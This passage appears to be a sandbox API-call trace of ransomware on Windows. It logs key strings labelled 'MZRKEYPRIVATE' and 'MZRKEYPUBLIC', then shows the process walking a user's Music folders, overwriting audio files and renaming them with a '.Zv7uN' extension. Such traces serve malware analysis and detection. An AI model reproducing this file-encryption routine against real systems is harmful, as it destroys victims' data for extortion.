FXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.526] GetCurrentThreadId () returned 0xa30 [0086.527] GetCurrentThreadId () returned 0xa30 [0086.527] GetCurrentThreadId () returned 0xa30 [0086.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.529] GetCurrentThreadId () returned 0xa30 [0086.529] GetCurrentThreadId () returned 0xa30 [0086.529] GetCurrentThreadId () returned 0xa30 [0086.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\tyu5ehagso.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.530] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.530] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.530] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x1224e [0086.530] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.530] ReadFile (in: hFile=0x104, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x1224e, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x1224e, lpOverlapped=0x0) returned 1 [0086.533] CloseHandle (hObject=0x104) returned 1 [0086.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\tyu5ehagso.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.538] WriteFile (in: hFile=0x104, lpBuffer=0x1f3b460*, nNumberOfBytesToWrite=0x1224e, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3b460*, lpNumberOfBytesWritten=0x18f114*=0x1224e, lpOverlapped=0x0) returned 1 [0086.543] CloseHandle (hObject=0x104) returned 1 [0086.545] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\tyu5ehagso.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\tyu5ehagso.mp3.zv7un")) returned 1 [0086.546] GetCurrentThreadId () returned 0xa30 [0086.546] GetCurrentThreadId () returned 0xa30 [0086.546] GetCurrentThreadId () returned 0xa30 [0086.546] GetCurrentThreadId () returned 0xa30 [0086.546] GetCurrentThreadId () returned 0xa30 [0086.546] GetCurrentThreadId () returned 0xa30 [0086.546] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce5d3d0, ftCreationTime.dwHighDateTime=0x1d5d7ef, ftLastAccessTime.dwLowDateTime=0x6eb35890, ftLastAccessTime.dwHighDateTime=0x1d5e394, ftLastWriteTime.dwLowDateTime=0x6eb35890, ftLastWriteTime.dwHighDateTime=0x1d5e394, nFileSizeHigh=0x0, nFileSizeLow=0x1224e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="tyu5ehagSO.mp3", cAlternateFileName="TYU5EH~1.MP3")) returned 0 [0086.546] GetLastError () returned 0x12 [0086.546] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0086.546] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdd35760, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x518050c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x518050c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0086.547] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0086.547] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.547] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdd35760, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x518050c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x518050c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.547] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.547] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.547] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad447670, ftCreationTime.dwHighDateTime=0x1d5e358, ftLastAccessTime.dwLowDateTime=0x29e42a50, ftLastAccessTime.dwHighDateTime=0x1d5d7e1, ftLastWriteTime.dwLowDateTime=0x517469e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x78b4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="jgyEIh3B1d0MKm3ji1.wav.Zv7uN", cAlternateFileName="JGYEIH~1.ZV7")) returned 1 [0086.547] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.547] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.547] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac8a0f0, ftCreationTime.dwHighDateTime=0x1d5daf4, ftLastAccessTime.dwLowDateTime=0x7a5b8d0, ftLastAccessTime.dwHighDateTime=0x1d5e7f6, ftLastWriteTime.dwLowDateTime=0x5176cb40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x10b5f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kynh4m18C.m4a.Zv7uN", cAlternateFileName="KYNH4M~1.ZV7")) returned 1 [0086.547] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.547] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.547] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efcffe0, ftCreationTime.dwHighDateTime=0x1d5da7a, ftLastAccessTime.dwLowDateTime=0x4cb9e370, ftLastAccessTime.dwHighDateTime=0x1d5dbfc, ftLastWriteTime.dwLowDateTime=0x517b8e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x15877, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="pYQA2b4qoY2Y NFyD.m4a.Zv7uN", cAlternateFileName="PYQA2B~1.ZV7")) returned 1 [0086.547] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.547] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.548] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce5d3d0, ftCreationTime.dwHighDateTime=0x1d5d7ef, ftLastAccessTime.dwLowDateTime=0x6eb35890, ftLastAccessTime.dwHighDateTime=0x1d5e394, ftLastWriteTime.dwLowDateTime=0x518050c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1224e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="tyu5ehagSO.mp3.Zv7uN", cAlternateFileName="TYU5EH~1.ZV7")) returned 1 [0086.548] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.548] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.548] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce5d3d0, ftCreationTime.dwHighDateTime=0x1d5d7ef, ftLastAccessTime.dwLowDateTime=0x6eb35890, ftLastAccessTime.dwHighDateTime=0x1d5e394, ftLastWriteTime.dwLowDateTime=0x518050c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1224e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="tyu5ehagSO.mp3.Zv7uN", cAlternateFileName="TYU5EH~1.ZV7")) returned 0 [0086.548] GetLastError () returned 0x12 [0086.548] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0086.548] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794f17b0, ftCreationTime.dwHighDateTime=0x1d5e6c5, ftLastAccessTime.dwLowDateTime=0x5306b0f0, ftLastAccessTime.dwHighDateTime=0x1d5e566, ftLastWriteTime.dwLowDateTime=0x5157d960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd0d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OUwm.wav.Zv7uN", cAlternateFileName="OUWMWA~1.ZV7")) returned 1 [0086.548] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.548] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.548] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794f17b0, ftCreationTime.dwHighDateTime=0x1d5e6c5, ftLastAccessTime.dwLowDateTime=0x5306b0f0, ftLastAccessTime.dwHighDateTime=0x1d5e566, ftLastWriteTime.dwLowDateTime=0x5157d960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd0d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OUwm.wav.Zv7uN", cAlternateFileName="OUWMWA~1.ZV7")) returned 0 [0086.548] GetLastError () returned 0x12 [0086.548] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0086.549] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x302616d0, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0x302616d0, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Zyj26cHu tegBHSw1Uj", cAlternateFileName="ZYJ26C~1")) returned 1 [0086.549] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.549] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.549] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x302616d0, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0x302616d0, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0086.549] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x302616d0, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0x302616d0, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.549] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f9e170, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xe2616c50, ftLastAccessTime.dwHighDateTime=0x1d5e14b, ftLastWriteTime.dwLowDateTime=0xe2616c50, ftLastWriteTime.dwHighDateTime=0x1d5e14b, nFileSizeHigh=0x0, nFileSizeLow=0x5ca9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="0g 0mf.m4a", cAlternateFileName="0G0MF~1.M4A")) returned 1 [0086.549] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0086.549] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\0g 0mf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\0g 0mf.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, 